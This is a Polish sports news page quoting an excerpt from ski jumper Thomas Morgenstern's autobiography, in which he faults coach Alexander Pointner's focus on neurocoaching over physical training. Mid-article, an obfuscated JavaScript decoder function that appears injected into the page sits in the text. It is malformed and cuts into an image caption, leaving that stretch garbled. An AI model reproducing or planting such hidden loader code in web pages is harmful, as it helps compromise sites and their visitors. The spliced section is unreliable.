You are currently viewing Morgenstern: „Pointner pozostawał głuchy na moje słowa. Denerwowało mnie to”

Morgenstern: „Pointner pozostawał głuchy na moje słowa. Denerwowało mnie to”

Morgenstern Thomas B.Leja  - Morgenstern: „Pointner pozostawał głuchy na moje słowa. Denerwowało mnie to”Rezygnacja Łukasza Kruczka odbiła się szerokim echem w środowisku narciarskim. To, że relacje na linii trener-skoczkowie nie zawsze układają się wzorowo, udowadnia fragment autobiografii Thomasa Morgensterna. Austriacki zawodnik pisze, że z czasem stracił zaufanie do metod stosowanych przez szkoleniowca kadry, Alexandra Pointnera.

 

"Dobra atmosfera w drużynie zawsze była dla Pointnera bardzo ważna. Miał wizję zespołu, który potrafi się razem dobrze bawić i w którym panuje wolna od konfliktów atmosfera i całkowita harmonia. Ale to tak nie działa. Skoki narciarskie są sportem indywidualnym, a drużyna składa się z indywidualistów. Właśnie dlatego bardziej liczą się interesy jednostek niż interesy kolektywu. Rola trenera zawsze była więc bardzo trudna.

- Morgenstern: „Pointner pozostawał głuchy na moje słowa. Denerwowało mnie to”function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4>4);p7=((y6&15)>2);w9=((p9&3)=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Pointner, fot. Bartosz Leja" src="http://www.skokipolska.pl/wp-content/uploads/2016/01/Pointner_Alexander_Kulm.2016_fot.Bartosz.Leja_-300x200.jpg" alt="Alexander Pointner, fot. Bartosz Leja" width="300" height="200" /> Alexander Pointner, fot. Bartosz Leja

Trenerska filozofia Alexandra Pointnera bardzo się zmieniła z biegiem czasu. Na początku był trenerem w pełnym tego słowa znaczeniu. Wspólnie pracowaliśmy nad techniką skoku i nad rozwojem sprawności fizycznej. To mi odpowiada – muszę wiedzieć, gdzie popełniam błędy, żebym mógł je skorygować. Nagle jednak wszystko zaczęło się kręcić tylko wokół neurocoachingu i rozwijania umiejętności audiowizualnej percepcji. Wszystko wyłącznie w głowie. Sprawy związane z treningiem fizycznym zupełnie zeszły na drugi plan. Zautomatyzowane procesy, mające na celu utrwalenie skoku w głowie, nagle stały się najważniejsze. Te audiowizualne elementy są z pewnością świetnym środkiem na uzupełnienie kompleksowego programu treningowego, ale kiedy zaczynasz mieć wrażenie, że wszystko kręci się tylko wokół tego – coś ci nie pasuje. Może są zawodnicy, którym to odpowiada, ale ja jednak potrzebuję pracy nad podstawowymi komponentami. Głęboko wierzę, że droga do sukcesu w pierwszej kolejności wiedzie przez ludzkie umiejętności. Dużą rolę odgrywają też trening, siła odbicia, technika, sprzęt… Wszystkie te rzeczy decydują w 95 procentach o twoich osiągnięciach. Pozostałe pięć procent to zdrowie, ambicja, wiara we własne umiejętności, psychika, „wolna głowa”. Te pięć procent decyduje o zwycięstwie albo o porażce. Mimo to nie można zaniedbywać tych 95 procent, bo kiedy brakuje odpowiedniej bazy, samo pięć procent niczego nie zdziała.

Morgenstern Thomas Innsbruck fot.Julia .Piatkowska 300x200 - Morgenstern: „Pointner pozostawał głuchy na moje słowa. Denerwowało mnie to”
Thomas Morgenstern, fot. Julia Piątkowska

Zawsze starałem się jasno komunikować, czego mi potrzeba. Ale sytuacja była trudna. Choć ufałem trenerowi i jasno mu mówiłem, co uważam za dobre dla siebie, on pozostawał głuchy na moje słowa i był przekonany, że to jego metody są dla mnie najlepsze. Takie podejście mnie denerwuje. Mnie to nic nie daje. Nigdy nie rozumiałem, dlaczego Pointner nie potrafił tego zaakceptować, i dlatego konsekwentnie pracowałem nad sprawnością fizyczną z Heinzem Kuttinem. To, że relacja trener – zawodnik nie może obejść się bez konfliktu, jest właściwie jasne. Ale o co w tym tak naprawdę chodzi? O wspólny sukces? Mój sukces nie był kwestią tylko mojej odpowiedzialności, lecz przynajmniej w równym stopniu także odpowiedzialności trenera. Nie chodzi o mierzenie zasług i o to, co się komu zawdzięcza. Chodzi o to, żeby wspólnie dążyć do osiągnięcia zamierzonych celów. Takie jest moje zdanie."

 

Więcej o książce na www.wsqn.pl/ksiazki/thomas-morgenstern-moja-walka-o-kazdy-metr/

 

źródło: SQN

 
Podziel się:

Dodaj komentarz